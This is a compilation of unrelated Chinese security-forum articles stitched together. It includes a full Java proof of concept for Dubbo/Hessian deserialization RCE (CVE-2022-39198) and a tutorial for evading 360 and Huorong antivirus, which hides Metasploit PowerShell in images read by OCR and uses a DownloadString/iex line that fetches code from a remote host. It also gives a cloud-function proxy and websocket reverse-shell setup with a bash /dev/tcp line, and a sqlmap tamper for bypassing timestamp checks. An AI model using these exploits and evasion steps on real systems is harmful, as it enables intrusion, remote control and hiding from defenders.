kludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=
最后附上动图效果图
### 0x04 总结
实际开发中ObjectStateFormatter通常用在处理ViewState状态视图，虽说用的频率并不高，但一旦未注意到数据反序列化安全处理，就会产生反序列化漏洞。最后.NET反序列化系列课程笔者会同步到
<https://github.com/Ivan1ee/> 、<https://ivan1ee.gitbook.io/>
，后续笔者将陆续推出高质量的.NET反序列化漏洞文章，欢迎大伙持续关注，交流，更多的.NET安全和技巧可关注实验室公众号。
* * *
_本文经安全客授权发布，转载请联系安全客平台。_
* * * | 社区文章 |
#### CVE-2022-39198
##### 影响
2.7.x < version < 2.7.18
3.0.x < version < 3.0.12
3.1.x < version <= 3.1.0
##### 分析
###### 漏洞描述
我们可以看看在apache通告中对漏洞的简单的描述
很明显，从这个漏洞描述中，我们能够明白这个CVE的造成主要是因为dubbo中内置的hessian项目，主要是因为在`hessian-lite`中的`3.2.12`及以前版本中存在有这个漏洞
来看看是因为哪里造成了这个漏洞，以至于能够RCE
我们看看github的diff
<https://github.com/apache/dubbo-hessian-lite/commit/5727b36a3cdc428baeef7ee03b131905e39be8ad>
主要的更改是在`resources/DENY_CLASS`文件中
这个文件中，是这个项目维护的一个黑名单
从这次的修复中，多新增了好几个黑名单包名
> org.apache.commons.codec.
>
> org.aspectj.
>
> org.dom4j
>
> org.junit.
>
> org.mockito.
>
> org.thymeleaf.
>
> ognl.
>
> sun.print.
有很多，但是在其中只是存在有一个存在于JDK中的包名，即为`sun.print.`，这里仅是主要探讨有关于JDK中的利用链进行学习
> 对于其他的包名的的利用链，之后我将会通过自动化工具的方式进行挖掘探索
###### 漏洞回顾
要想要知道能够利用的恶意类到底是哪一个，我们需要明白hessian需要触发什么才能导致漏洞的利用
如果曾经更进过hessian以前的其他链子，你会发现，大多数的链子都是通过使用`HashMap / HashSet /
HashTable`等类来触发`equals / compareTo`等等方法来进行接下来的调用
而其中，marshal项目中存在有多个通过调用`XString#equals`方法的方式
进而调用到其他类的`toString`方法进行接下来 的调用
###### 现洞分析
在`CVE-2021-25641`这个CVE中存在的一条利用链是通过fastjson库的`JSONObject#toString`方法来进行反序列化操作，而在起反序列化的过程中将会调用反序列化类的任意getter方法，当时是直接通过触发了`TemplatesImpl#getOutputProperties`方法来进行利用的
而我们这里，也朝着这样的思路走，我们需要在`sun.print.`包下，找到一个类的`getter`方法能够进行漏洞的触发，那个就是我们想要的漏洞点
有关于这个类的利用，之前在跳跳糖中就存在
<https://tttang.com/archive/1510/>
在上面这篇文章中有所提及
我们跟进一下这种利用方式
我们这里选用的环境是单独的一个`dubbo`依赖的环境(2.7.16版本)
沿用以前的思路，通过dubbo库依赖的fastjson库，进行任意getter方法的调用，进行调用上图中的`getDefaultPrintService`方法进行利用
首先我贴一下到`XString#equals`方法调用`JSONObject#toString`方法的调用栈
toString:1071, JSON (com.alibaba.fastjson)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:495, AbstractMap (java.util)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2733, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2308, Hessian2Input (com.alibaba.com.caucho.hessian.io)
之后来看看`JSONObject#toString`这条链子
这图是`XString#equals`方法中的代码，其中我们是通过HashMap反序列化的方法，进行元素之间的`equals`方法的调用，这里的`obj2`参数，只有是一个`JSONObject`对象，才会调用其`toString`方法
因为`JSONObject`类中没有toString方法，所以只能够调用其父类`JSON`类的`toString`方法进行调用
在这个`toString`方法中，调用了相同类的`toJSONString`方法
在这里，将会对我们的`JSONObject`对象进行反序列化操作
这部分的调用栈为
write:-1, ASMSerializer_1_UnixPrintServiceLookup (com.alibaba.fastjson.serializer)
write:271, MapSerializer (com.alibaba.fastjson.serializer)
write:44, MapSerializer (com.alibaba.fastjson.serializer)
write:312, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:1077, JSON (com.alibaba.fastjson)
我们前面通过fastjson反序列化的学习，也知道在其反序列化的过程中，将会导致任意getter方法的调用，所以自然能够调用到我们想要的`UnixPrintServiceLookup#getDefaultPrintService`方法
在这个方法中，主要是获取默认的打印服务相同的操作
首先在其中的一个if语句中
if (CUPSPrinter.isCupsRunning())
我们如果想要利用，需要保证不会满足这个条件
并且操作系统不能够使MAC OS和SUN OS
如果能够满足我们上面的条件，我们将会进一步调用到`getDefaultPrinterNameBSD`方法中
这里，将会将`lpcFirstCom`属性中的值传入`exeCmd`方法中进行调用
而在该方法中，将会将命令拼接在`/bin/sh / /usr/bin/sh`这两个环境进行执行
之后会通过调用run方法来执行命令
因为在run方法中是存在有`Runtime.getRuntime().exec()`方法进行执行的，所以能够RCE
##### POC
public class Test {
public static void setFieldValue(Object obj, String filedName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field declaredField = obj.getClass().getDeclaredField(filedName);
declaredField.setAccessible(true);
declaredField.set(obj, value);
}
public static void main(String[] args) {
try {
//需要执行的命令
String cmd = "touch /tmp/test";
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
Object unixPrintServiceLookup = unsafe.allocateInstance(UnixPrintServiceLookup.class);
//绕过getDefaultPrinterNameBSD中的限制
//设置属性
setFieldValue(unixPrintServiceLookup, "cmdIndex", 0);
setFieldValue(unixPrintServiceLookup, "osname", "xx");
setFieldValue(unixPrintServiceLookup, "lpcFirstCom", new String[]{cmd, cmd, cmd});
//封装一个JSONObject对象调用getter方法
JSONObject jsonObject = new JSONObject();
jsonObject.put("xx", unixPrintServiceLookup);
//使用XString类调用toString方法
XString xString = new XString("xx");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",jsonObject);
map1.put("zZ",xString);
map2.put("yy",xString);
map2.put("zZ",jsonObject);
HashMap s = new HashMap();
setFieldValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));
setFieldValue(s, "table", tbl);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessianOutput = new Hessian2Output(byteArrayOutputStream);
hessianOutput.setSerializerFactory(new SerializerFactory());
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
hessianOutput.writeObject(s);
hessianOutput.flushBuffer();
System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
}catch (Exception e) {
e.printStackTrace();
}
}
}
##### 利用
我这里使用的是自己使用docker搭建的一个带有hessian反序列化环境且仅依赖dubbo库的环境
我将上面的POC得到的序列化数据编码后的base64字符串进行发送
在docker环境中，成功创建了`/tmp/test`这个空文件
##### 总结
这里不仅可以通过从`getDefaultPrintService`这个getter方法中进行漏洞的触发
同样也能够在其他的getter方法中进行漏洞的触发，因为毕竟fastjson的反序列化过程调用的所有的getter方法，比如说是也可以从`getPrintServices`方法中开始进行利用
当然，还有其他的getter方法
这里只是提及了这个CVE的JDK中的利用链，其他的利用链需要依赖其他的库，后面将会进行挖掘依赖中的getter利用
##### 参考
<https://github.com/apache/dubbo-hessian-lite/commit/5727b36a3cdc428baeef7ee03b131905e39be8ad>
<https://lists.apache.org/thread/8d3zqrkoy4jh8dy37j4rd7g9jodzlvkk>
<https://pupil857.github.io/2022/12/08/NCTF2022-%E5%87%BA%E9%A2%98%E5%B0%8F%E8%AE%B0/>
<https://tttang.com/archive/1510/> | 社区文章 |
**关于查杀:**
主要分为两种方式
静态查杀:
针对的是杀毒软件的静态文件扫描,比如提取文件内一段特征码或者只有木马远控才会大量使用的函数来识别为是木马
动态查杀:
简单来说,就是如木马在执行的某些行为被杀毒软件拦截，就是动态查杀方式
**怎么样才能实现免杀呢?**
1.恶意的特征不要写死在纯代码上(如shellcode)
2.使用加密手段和混淆的方式又或者是多种编码
3.远程读取恶意代码进行分离加载
4.添加花指令,加壳等手段干扰杀软分析
5.针对杀软对于特征码的收集进行更换绕过
**进入正题,使用OCR图像识别的方式进行免杀**
这里我们先在百度智能云申请下OCR文字识别功能
点击创建应用
通用场景是文字识别OCR,第一次使用OCR会有免费资源的,这里使用的是通用文字识别(高精度版)
创建好应用后,会有我们需要的AppID,APIKey,Secret Key,然后我们来查看下技术文档
API调用的使用方法
文档会有接口描述和请求说明
这里我们要看的是Python版的API调用使用说明
**安装Python SDK**
终端安装pip3 install baidu-aip
**代码实现**
这里我们先来调试下,看看能不能正常识别出来,后面我将用它来识别powershell
这里我将识别该flag图片的内容
Python3运行可以正常识别出来,OK
我将接下来用metasploit来生成Powershell后门
配置好相应需要的参数设置
在exploit执行生成Powershell并且会进行监听
**借用forfiles绕过360对powershell的调用**
360对于powershell而言,只要是开头有powershell的字眼,就会触发动态行为防护
所以,我们需要绕过本地调用。
forfiles 是一款 windows
平台的软件工具，其中选择文件并运行一个命令来操作文件。命令说明符支持一些特殊的语法选项。它可以直接在命令行中使用，也可以在批处理文件或其他脚本中使用。
在 cmd 终端中，借用 forfiles 调用 powershell
也可以启动一个计算器
接下来,我们截一张图,看看能不能正常识别出来
Python3运行
可以看到正常识别,我们将MSF生成的base64的powershell复制下来,进行识别
后面实验发现,有时候识别powershell会被识别为powershel1,所以我将powershell改成了大写,提高准确的识别率
后面也将l全部替换成L大写即可
Python3运行,看看识别效果
将其复制下来,看看对比有没有误
OK,接下来我们改改代码
MSF也能正常上线
**改powershell,实现各自免杀360和火绒,免杀上线**
我们通过图像识别的方式识别出powershell,后run(string_text,shell=True)来运行powershell,由于是图像识别,静态查杀肯定是绕过的了(无恶意特征)
到动态行为这里,360是针对于powershell的开头调用,所以我们改为这样子:
FORFILES /M *.txt /C “cmd /c POWERSHELL -nop -w hidden -e base64的powershell内容”
即可绕过360的动态行为
测试动静态都无反应
针对于火绒
我们将powershell改为:
为iex设置别名
powershell set-alias -name cseroad -value Invoke-Expression;cseroad(New-Object
Net.WebClient).DownloadString(‘<http://192.168.52.23:80/a’>)
然后在图片识别反弹Meterpreter即可 | 社区文章 |
最近看到一篇关于利用云函数做免费代理池的文章，觉得蛮有意思的，于是也花时间研究了并实现了云函数的几个有趣的利用方式。
## HTTP 代理
### 原理
这是最为简单的利用方式。主要原理在于：
1. 云函数可利用 [API 网关触发器](https://cloud.tencent.com/document/product/583/9705)进行触发，接受来自客户端的数据
2. 可以对外发包，类似于一个 SSRF
### 实现
因此一个 HTTP Proxy 的实现思路就很简单了。客户端挂上代理发送数据包，HTTP 代理服务器拦截数据包，提取 HTTP
报文相关信息，然后将报文以某种形式 POST 到云函数进行解析，云函数根据解析到的信息对目标发起请求，最终将结果一层一层返回。
流程如图所示：
### 效果
开启 HTTP 代理：
测试 IP 数量：
经过多次测试，单上海区域 5 线程 200 次访问 myip.ipip.net，分配 ip 数量在 60-70 左右变动。而腾讯云函数在全球总共提供了 11
个区域，因此通过在每个区域创建 HTTP 代理云函数，再利用本地代理进行调度，可获得更多的 IP。
## SOCKS5 代理
有了 HTTP 代理，就不禁想再往前跨一步，针对 MySQL，RDP 等连接也希望保持匿名的时候，如何利用云函数做 SOCKS5 代理。
### 原理
云函数能对外发包，自然意味着 socket 可对外发起连接。因此我们完全可以将云函数当作一座桥梁，一侧对 VPS 发起连接，另一侧侧对目标服务器发起连接。
有了这座桥梁，稍微修改一下 SOCKS5 代理我们就可以发车上路了。
### 实现
正常 SOCKS5 代理请求的流程为服务端监听来自客户端的事件，每当客户端发起一个新的连接，服务端生成一个 socket
A，并从数据包中解析出目标服务器的地址和端口，在本地对目标发起一个 socket 连接 B，同步两个 socket 的 IO 操作。
SOCKS5 主要分为 3 个步骤：
* 认证：对客户端发起的连接进行认证
* 建立连接：从客户端发起的连接中读取数据，获得目标服务器地址，并建立连接
* 转发数据：分别将来自客户端、服务器的数据转发给对方
用代码表示为如下：
def socks5_process(client: socket):
"""SocksServer 监听到新连接时的回调函数，将生成的 socket 作为参数 client 传入"""
socks5_auth(client)
target = socks5_connect(client)
socks5_forward(client, target)
def socks5_connect(client: socket):
# 省略协议细节处理
address, port = extract_targe_info(client)
target = socket.create_connection((address, port))
对比 SOCKS5 的流程和云函数建立连接的方式，可发现在 `socks5_connect`
中，我们需要的不再是对外主动发起连接，而是监听一个端口，等待云函数发起连接。
而为了让云函数发起连接，我们需要主动对云函数的 API 网关发送请求，触发云函数的执行，并将目标服务器信息附在 POST 数据包中。
# socks5.py
def socks5_process(client: socket):
socks5_auth(client)
socks5_connect(client)
# 不在此处进行 forward 了
# socks5_forward(client, target)
def socks5_connect(client: socket):
...
address, port = client.read()
requests.post(api_url, json={"host": address, "port": port})
def forward_process(target: socket):
"""ForwardServer(监听来自云函数的连接） 监听到新连接时的回调函数，将生成的 socket 作为参数 target 传入"""
# 在此处进行 forward，需要注意由该 client 触发产生 target 连接需要与该 client 对应
socks5_forward(client, target)
服务端接收请求，并发起连接。
# server.py
def main_handler(event, context):
data = json.loads(event["body"])
socks5 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 解析出目标主机并发起连接
socks5.connect((data["host"], data["port"]))
forward = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 反向连接
forward.connect((your_vps, forward_port))
# 同步 socks5 和 forward 的 IO 操作
...
至此，一条完整的通路便形成了。
### 效果
以 MySQL 连接为例，配置 Proxifier
连接 MySQL：
在 VPS 上开启 SOCKS5 代理，成功打通连接
#### 缺陷
* 受限于云函数的超时时间，最多仅能维持 **15 分钟长连接**
* 代理需要 VPS
## 反弹 shell
腾讯云函数的 API 网关除了基本的 HTTP 协议，还提供了一个 websocket 协议触发器，具体描述如下：
文中提到，每当客户端发出消息都会触发云函数的执行，这也是为什么上一节不能直接用 websocket 进行 socks5 代理。
介绍完 websocket 功能，接下来就看看如何利用这个东西实现反弹 shell 的功能。
### 原理
反弹 shell 的本质在于与目标建立一个可以传输数据的双向通道，攻击者通过通道传输的数据被受害主机执行并将结果借由通道原路返回。以 bash 反弹
shell 为例子：
bash -i >& /dev/tcp/127.0.0.1/8088 0>&1
* `>& target` 等价于 `> file 2>&1`，即将 _标准错误输出_ 和 _标准输出_ 都重定向 target
* `0>&1` 即将标准输入也重定向到 target
最终的结果如下
既然如此，我们能不能再加两层 websocket 通道，形成这样的结构：
形成上述结构的关键在于需要能够从受害主机对 API 网关发起 websocket 连接并传输 shell 数据，于是经过一番摸索找到这样一个工具
[websocat](https://github.com/vi/websocat)。
该工具提供了一个将 TCP 端口转发到 websocket 的功能。
因此利用思路为：
1. 上传 websocat（或远程下载）到受害主机
2. 执行 `websocat -E --text tcp-l:127.0.0.1:12345 ws://apigatway` 转发端口
3. 反弹 shell 到本地端口 `bash -i >& /dev/tcp/127.0.0.1/12345 0>&1`
4. 攻击者连接 ws://apigate ,通过云函数进行消息中转，开始愉快的执行命令
### 实现
通过 ws 连接时，API 网关会生成一个 ConnectionID 代表当前与之连接的一台机器，然而因为通过 ws
连接每次发消息都会调用一次云函数，我们只能知道发起连接的这台机器的
ConnectionID。为此我们还需要一台数据库，用来保存处于连接中的机器，方便进行消息中转。
最终结构如下：
### 效果
在受害主机上执行命令
本地连接 API 网关，成功执行命令
因为 API 网关的 ws 地址直接暴露会比较危险，因此在服务端增加了一个认证功能，未认证连接发送的信息仅会发送给经过认证的的连接。
## 工具
本文仅针对 3 种方式提供了一个简单的原理和思路讲解，并未深入代码细节和云函数的具体配置。但 3
种思路均已实现成工具，云函数的配置方法也包括在内，有需要的师傅可以康康
[SCFProxy](https://github.com/shimmeris/SCFProxy)。 | 社区文章 |
# 安全情报成熟度模型分享与解读
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
介绍
时至今日，对于企业而言，如果竞争对手需要渗透进入他们的网络，那他们就能进入。下图呈现出近年来日益增长的全球性信息安全事件的调查图表。（图片来源：PwC,
The Global State of Information Security Survey 2015, www.pwc.com/gsiss2015）
Gartner 副总裁 Neil MacDonald 这样说到，到 2020
年企业的信息系统无疑将持续受到威胁，而面对先进的有针对性的攻击，他们根本无能为力。但至今仍有诸多企业把精力投放在防御措施上面，试图防护住所有针对他们的攻击，这样做极可能会得不偿失。如今信息安全转向快速的检测和响应能力，随之再进行深化部署防御，从而阻止攻击的近一步蔓延。关键在于快速应急响应能力，通过定义一个过程体系，来快速了解掌握发生的异常情况的影响范围。
高风险时间段：从威胁发生到得到缓解
如今，安全事件以每小时上千、上万起的高度频率爆发着。而在这其中夹杂着的更是数之不尽的威胁信息，它们如同将安全团队置身于迷雾，利用传统安全设备—诸如防火墙、
IDS/IPS、应用网关、反病毒反恶意软件等—进行威胁检测已是难以应付，更别提进行及时响应了。
衡量企业安全能力的两条重要指标分别是平均检测时间（MTTD）和平均响应时间（MTTR）。其中，MTTD
指企业发现一个对自己造成影响的并需要深入分析和应对的潜在威胁所花费的平均时间，MTTD 指企业全面分析威胁并缓解此次事件所花费的时间。
很多企业的这两项指标所花费的时间往往数周甚至是数月之久，而这个数值就意味着企业将在这段期间遭受极高的安全风险，即高风险时间段。同理，为这样的风险，我们应将这两项指标控制在天、小时的范围，最理想的情况则是将数值减低为小时、分钟。下图将展示
MTR 与 MTTD 的时间级与风险级别的关系曲线。
这曲线让我想到典型信息系统安全模型与框架中 P2DR 的数学模型。即 S 系统防护、检测和反应的时间关系如下：
If Pt > Dt + Rt, 那么 S 是安全的；
If Pt < Dt + Rt, 那么 Et = (Dt + Rt) – Pt。
其中，Pt=防护时间（有效防御攻击的时间）Dt=检测时间（发起攻击到检测到攻击的时间）Rt=响应时间（检测到攻击到处理完成的时间）Et=暴露时间。当企业的
MTTR 与 MTTD 时间所花费越长，在 Pt 时间一定的情况下，那么 Et 时间即企业安全威胁暴露在外的时间就越长，那么遭遇到的风险就越高。
安全情报的必要性
安全情报在某种程度上就如同商务情报一般。我们知道，重要的商务情报可以使得我们在众多繁杂的情报中快速筛选掉无关的信息并从中寻找出我们以前没有注意到的、最有价值的商业机会。而安全情报就是在众多繁杂的威胁情报中促使企业清楚地看到威胁的核心，它旨在合适的契机与情景下传递最准确的消息从而显著降低检测、应急响应所花费的时间，也就是对企业
MTTD 与 MTTR 两项标准的能力进行提升。
由于安全情报往往因人而异，所以目前来说并没有统一的标准。安全情报是捕获关联的、可视化的信息并分析取证数据，从而可以有效检测和缓解那些对企业真正有害的威胁，同时建立起积极防御以备后患的过程。安全情报可以缩短用户
MTTD 与 MTTR 所花费的时间、对当前安全工具的价值进行扩展并可以结合机器学习发现一些潜在的、我们平常观察不到的威胁细节。
无论威胁是通过企业大量传感器检测到的、还是通过机器分析检测到的，安全情报的角色都是通过取证数据和情报的上下文，传递哪些真正潜在威胁的信息和结论。安全团队可以据此快速评估出这次安全事件是否会爆发以及它的威胁等级。确保有充分的信息提供给安全专家从而对此次事件作出快速、准确的决策。
当更深一步挖掘整个检测、响应过程的关键时，我们可以发现，一个理想的安全情报平台可以简化每个处理过程的工作流，尽可能提供自动化。而如果一个组织可以如此完善检测、响应生命周期中的每一个步骤，那么也就意味着降低了
MTTD 与 MTTR 的时间，更重要的是，减少了威胁暴露的时间。
从威胁检测到应急响应的生命周期
当某个威胁被确会使业务遭受风险并必须展开调查时，我们就可以说响应周期开始了。在当调查已全面完成并且成功解决了此次威胁时响应周期才结束。故而如果企业想避免这其中的损失，那么就必须把响应周期从几个月缩短到几分钟。
在这里，安全情报完全可以通过如下特点缩短响应周期：
▪ 通过高强度分析工具将威胁的多个维度和与事件关联的信息进行集中化
▪ 综合工作流和协作能力，加快分析和响应流程
▪ 自动化支持事件响应过程并部署解决方案从威胁检测到应急响应的生命周期各阶段详细过程如下图所示。
◎ 威胁检测阶段
▪ 线索发现
检测的第一步就是识别潜在的威胁，比如这个异常流量的交互到底是来源于我们的新客户还是黑客。而这个过程就要依托于在取证数据的噪声中进行近一步分析了。而主要的分析方式就是用户分析和机器分析这两种。
用户分析基于人，通过监测、观察指示器，认为评估趋势、行为和建模。
机器分析就是通过软件捕获数据流并持续对其进行的监测的分析，通过复杂分析算法优先识别出威胁的存在。
▪ 事件确认
评估威胁，确认威胁存在的真实情况，是属误报、可忽略容忍的风险等级，还是确实需要进一步深入调查的潜在威胁。
(其中这里所搜集的取证信息包括捕获到的日志、计算机上的数据、生成的取证数据以及整个安全事件的信息记录)
◎ 应急响应阶段
▪ 深度调查
安全小组在初步检测认定遭遇了安全事件的威胁后，会立即步入响应状态。开始深度调查分析威胁情况与风险规模，从而判断此次安全事件的整体态势，是正在进行，还是已经发生并开始启动缓解工作。
▪ 威胁缓解
这个阶段需要对于该事件发生根本原因、威胁影响规模、应急技巧等各方面有着充足的认识与丰富的经验。专业人员此时针对安全事件有着高度一致的观点和态度、与其它组织部门的合作沟通能力、充足的知识储备以及自动化的响应应急机制。
▪ 恢复加固
这是该生命周期的最后一个步骤，也算是为事件应急处理后做“清扫战场”的工作，诸如在环境中根除环境中的所有威胁情况、清理恶意资源、加固环境，最后对引发事件的根源问题进行分析总结，预防同样情况再次发生。
LogRhythm 安全情报成熟度模型(SIMM)
我们说安全是一个过程而非终点，因此需要花费时间和资源逐渐打造企业成熟的安全能力。从某种意义上讲，这就是降低企业的 MTTD 与
MTTR。然而，对于希望减少网络安全风险状态的组织来说，拥有高等级 MTTD 与 MTTR 的能力确实是必不可少的。
安全情报其实是企业对于降低 MTTD 与 MTTR 最为有效的投资。SIMM
模型可以帮助组织评估当前的安全情报能力以及相关的风险状态。这种模型还为他们寻求近一步的提高提供了蓝图。
该模型旨在建立和完善一个组织的安全检测和响应能力，并强烈反对仅仅简单将个人安全产品的投入使用。然而。以技术为基础的解决方案在如上所述的各个阶段都起到了至关重要的作用。理想情况下，功能是通过端对端的闭环威胁检测与响应过程的集成和统一平台来进行交付的。
对于安全情报平台，防止受到网络安全威胁的关键举措如下所示：
▪ 提供集中化的、实时获取日志取证的平台并从完整 IT 大环境中提取机器数据
▪ 提供持续的或按需的传感器，可以从网络节点、服务器、网络、高风险区域中获取额外的取证数据
▪ 统一处理采集到的数据，将其情景化再现并高度分类以方便下游进行分析
▪ 提供最高端的机器进行分析以便通过如下方式，持续化自动化收集、分析风险与高级威胁：
– 可以 100% 获取取证数据
– 从相关性分析的混合技术的应用到基于行为建模机器学习
– 分别从情景与基于风险取证的方面对威胁的优先级进行智能排序
▪ 对需要通过事件应急响应近一步进行调查和持续管理的高风险级别事件提供实时的、可视化的平台
▪ 通过高强度基于搜索技术的分析工具，使得应急者可以通过集中化获取原始的、高度情景化的取证数据来全方位观察事件
▪ 通过情报驱动和高度集成工作流提供最优决策与自动化事件响应能力
SIMM 成熟度模型包含了不同等级的合规，从 Level 0 等级（没有基础的安全情报能力，使得企业完全暴露风险）到 Level 4
等级（有成熟完整的安全情报能力，拥有卓越的安全态势感知能力），其中 MTTD、MTTR 时间值与安全情报能力成熟度的线性关系如下图所示。
其中 4 等级的划分矩阵如下所示。
Level 0 盲区状态
★ 时间级别：
MTTD -> 月计 ；MTTR -> 月计 或 周计
★ 安全情报能力：
无
★ 组织特征：
▪ 以预防为导向；有诸如防火墙、反病毒软件等设备
▪ 技术部门与职能部门的日志独立，但没有集中的可视化日志记录
▪ 有针对风险与威胁的监控，但没有投资人力去维护或者无法甄别噪声
▪ 没有正规的事件响应过程，只落实在个人能力
★ 风险控制能力：
▪ 合规风险 （因未遵循法律法规、监管要求、规则、自律性组织制定的有关标准而可能遭受重大财务损失、声誉损失、如今有可能遭受法律处罚）
▪ 无应对内部威胁的能力
▪ 无应对外部威胁的能力
▪ 无应对 APTs 攻击的能力
▪ 遭遇信息泄露
Level 1 最小合规
★ 时间级别：
MTTD -> 月计 或 周计；MTTR -> 周计
★ 安全情报能力：
▪ 安全信息和事件管理，目标日志管理
▪ 目标服务器取证（例如 文件完整性监测）
▪ 最低程度的、授权的、面向合规的监控和响应
★ 组织特征：
▪ 常因为合规要求而进行投资或者针对其环境中一个选好的特定区域进行保护
▪ 通过审查报告来对合规风险进行识别，但不乏报告外存在的风险或不合规管理过程的误报
▪ 提高目标保护区域威胁的可视化能力，但依然缺少人力投资、过程的有效评估能力以及对威胁的优先级处理能力
▪ 无正规的事件应急过程，依然只落实于个人能力，但对于影响受保护环境的突发事件可以有更好的处理能力
★ 风险控制能力：
▪ 大幅度降低合规风险，但主要依赖审计的能力
▪ 无应对大部分内部威胁的能力
▪ 无应对大部分外部威胁的能力
▪ 无应对 APTs 的能力
▪ 遭遇信息泄露
Level 2 安全合规
★ 时间级别：
MTTD -> 日计 或 时计 ；MTTR -> 日计 或 时计
★ 安全情报能力：
▪ 整体日志管理
▪ 更广泛的、风险一致性的服务端取证
▪ 有针对的环境风险特性
▪ 有针对的脆弱性情报
▪ 有针对的威胁情报
▪ 有针对的机器分析能力
▪ 已建立部分监控和应急过程
★ 组织特征：
▪ 期望超越最小合规程度，寻求效率、提高保障能力
▪ 对于大多数威胁不存在盲区，并且针对潜在的高影响威胁的检测和响应能力有实质上的提高同时专注于高风险区域
▪ 建立了正规的流程，对于高风险警报区域的监控进行责任的指派和分配
▪ 对于事件应急已建立基础正规的流程
★ 风险控制能力：
▪ 有较好的业务弹性并具高效的合规能力
▪ 可以发现内部威胁
▪ 可以发现外部威胁
▪ 对 APTs 攻击仍然存在盲区，但有可能检测到线索并进行取证
▪ 无法应对国家层面的安全威胁
Level 3 警戒状态
★ 时间级别：
MTTD -> 时计 ；MTTR -> 时计
★ 安全情报能力：
▪ 整体的服务端取证
▪ 有针对性的网络取证
▪ 有针对性的结点取证
▪ 多维度的、商业型的威胁情报
▪ 整体的脆弱性情报
▪ 有针对性的行为分析
▪ 完整、成熟的监测和响应流程
▪ 建立功能性安全管理平台（SOC：Security Operation Centre）
▪ 有针对性的信息检索（IR：Information Retrieval）业务流程和自动响应过程
★ 组织特征：
▪ 已经认识到对很多威胁仍存在盲区，而这些威胁极有可能对企业造成实质性危害
▪ 已经对组织流程进行投资并斥资人力去提高针对各层级威胁的检测和响应能力
▪ 已经投资并建立了正规的安全管理平台，并由经过培训的员工进行事件的应急响应
▪ 已有自动化的事件响应措施与应急对策
▪ 通过指示与搜索积极捕获业务环境中的风险
★ 风险控制能力：
▪ 有较好的业务弹性并具高效的合规能力
▪ 发现并快速响应内部威胁
▪ 发现并快速响应外部威胁
▪ 可以在较早的生命周期阶段发现 APTs 攻击痕迹
▪ 即使是 APTs 类型的网络犯罪性行为也具有较好的应对弹性
▪ 仍然应对国家层面的安全威胁具有脆弱性，但具有了被动防御的能力
Level 4 弹性状态
★ 时间级别：
MTTD -> 分计 ；MTTR -> 分计
★ 安全情报能力：
▪ 综合网络、服务端、节点的整体取证能力
▪ 整体环境的风险控制能力
▪ 整体的、多维度的机器分析能力
▪ 主动的威胁情报
▪ 主动的脆弱性情报
▪ 建立功能性安全管理平台（SOC：Security Operation Centre）
▪ 整体性的信息检索（IR：Information Retrieval）业务流程和自动响应过程
★ 组织特征：
▪ 是一个诸如国家层面、网络恐怖份子和有组织犯罪的高价值目标
▪ 持续受到各种层面的攻击：包括物理的、逻辑的、社会的
▪ 代表组织最高级别的服务或基础设施，不容受到损坏的
▪ 针对威胁管理或者安全性问题具有前瞻性
▪ 针对行业一流的人才、技术和设备进行投资
▪ 时刻监测数据域新型威胁
▪ 时刻对响应过程、应急对策进行自动化处理
★ 风险控制能力：
▪ 有卓越的业务弹性并具高效的合规能力
▪ 发现并快速响应所有层面上的威胁
▪ 可以在较早的生命周期阶段发现 APTs 攻击痕迹并具有响应处理能力
▪ 可以抵挡和防卫国家层面的安全威胁 | 社区文章 |
文章作者：pt007@vip.sina.com
1、前置知识：
大家在渗透测试的时候经常会遇到时间戳（timestamp），时间戳用于防范burpsuite的抓包重放攻击，难倒了不少工具黑客，但是遇到代码级的黑客会如何解决这个问题呢？
一言不合上代码，先给出生成时间戳的python代码：
#!/user/bin/env python
#coding=utf8
#auther:pt007@vip.sina.com
import time
t = time.time()
timestamp=int(round(t * 1000))
timestamp=str(timestamp)
print timestamp
通过google后，我们知道Sqlmap
Tamper插件目录下（D:\sqlmap2016\tamper）有个xforwardedfor.py插件，下面我们贴出代码：
#!/usr/bin/env python
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
from lib.core.enums import PRIORITY
from random import sample
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def randomIP():
numbers = []
while not numbers or numbers[0] in (10, 172, 192):
numbers = sample(xrange(1, 255), 4)
return '.'.join(str(_) for _ in numbers)
def tamper(payload, **kwargs):
"""
Append a fake HTTP header 'X-Forwarded-For' to bypass
WAF (usually application based) protection
"""
headers = kwargs.get("headers", {}) #以字典方式取出header包头数据
headers["X-Forwarded-For"] = randomIP() #将headers包头数据中的X-Forwarded-For地址随机设置
return payload
2、自定义Sqlmap Tamper插件绕过时间戳限制：
文件名：replacehead.py
